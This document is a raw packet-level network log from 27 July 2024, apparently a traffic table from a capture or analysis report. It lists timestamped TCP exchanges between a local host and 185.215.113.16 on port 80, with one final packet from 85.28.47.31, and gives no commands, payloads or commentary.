Jul 27, 2024 05:39:09.599750996 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.599786043 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.645817995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.645884037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.645953894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.645986080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.645998955 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.646018982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.646027088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.646049976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.646056890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.646084070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.646107912 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.646116018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.646130085 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.646190882 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648121119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648150921 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648180008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648205042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648220062 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648250103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648252010 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648293972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648303986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648335934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648343086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648374081 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648382902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648413897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648425102 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648446083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648452044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648473024 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648494005 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648514986 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648539066 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648586988 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648588896 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648617983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648632050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648653984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648688078 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648698092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648700953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648749113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648766041 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648780107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648787022 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648812056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648829937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648843050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648859978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648876905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648879051 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648907900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648940086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.648952961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648978949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.648978949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649025917 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649055004 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649068117 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649085999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649117947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649148941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649173975 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649179935 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649211884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649213076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649230957 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649257898 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649259090 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649291992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649300098 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649322987 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649332047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649353981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649368048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649395943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649403095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649435043 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649452925 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649478912 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649482012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649532080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649561882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649578094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649594069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649604082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649625063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649636030 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649657011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649673939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649688959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649696112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649729967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649738073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649765968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649779081 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649806976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649812937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649844885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649852991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649876118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649919987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.649924994 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649955034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.649986029 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650002956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650017977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650034904 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650043964 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650065899 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650073051 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650096893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650105953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650130033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650135994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650170088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650178909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650227070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650227070 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650258064 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650289059 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650309086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650320053 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650336981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650352001 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650362968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650382996 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650389910 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650413990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650422096 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650444984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650453091 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650476933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650484085 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650509119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650513887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650541067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650556087 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650572062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650602102 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650604010 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650618076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650635958 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650669098 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650686979 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650703907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650715113 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650738001 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.650753021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.650782108 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.674489975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.674539089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.674573898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.674607038 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.674609900 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.674635887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.674640894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.674657106 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.674675941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.674689054 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.674714088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.674720049 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.674767017 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.689656019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689701080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689727068 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.689755917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.689757109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689806938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689841032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689855099 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.689872980 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689897060 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.689932108 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689939976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.689980984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.689990044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690015078 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690031052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690063953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690063953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690098047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690119982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690146923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690150976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690179110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690196037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690211058 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690226078 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690243006 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690274000 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690293074 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690304995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690326929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690337896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690354109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690372944 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690404892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690433025 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690438032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690455914 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690469027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690490007 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690500975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690517902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690532923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690545082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690566063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690579891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690598011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690614939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690629959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690648079 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690664053 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690680981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690709114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.690721035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.690774918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.736932993 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.736998081 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.737009048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.737032890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.737051964 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.737065077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.737078905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.737099886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.737121105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.737132072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.737143040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.737168074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.737178087 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.737273932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.739809036 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.739878893 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.739887953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.739939928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.739949942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.739974022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.739986897 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740006924 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740056038 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740065098 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740088940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740112066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740119934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740143061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740153074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740164042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740185022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740216017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740230083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740248919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740257978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740283966 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740293026 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740315914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740333080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740362883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740395069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740425110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740426064 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740458012 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740458965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740493059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740515947 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740566015 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740611076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740617990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740667105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740669012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740701914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740712881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740734100 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740766048 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740787983 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740797997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740822077 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740830898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740849018 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740861893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740890980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740894079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740922928 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740923882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740951061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740959883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.740967035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.740991116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741023064 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741034985 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741051912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741084099 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741086006 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741086006 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741116047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741136074 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741146088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741173983 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741178036 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741189003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741209030 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741218090 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741240025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741250038 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741272926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741281033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741323948 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741333008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741355896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741388083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741403103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741420984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741434097 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741453886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741461992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741485119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741498947 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741518974 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741528034 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741552114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741559029 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741585016 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741591930 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741619110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741626024 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741653919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.741657972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.741749048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:10.311696053 CEST	80	49477	85.28.47.31	192.168.2.4
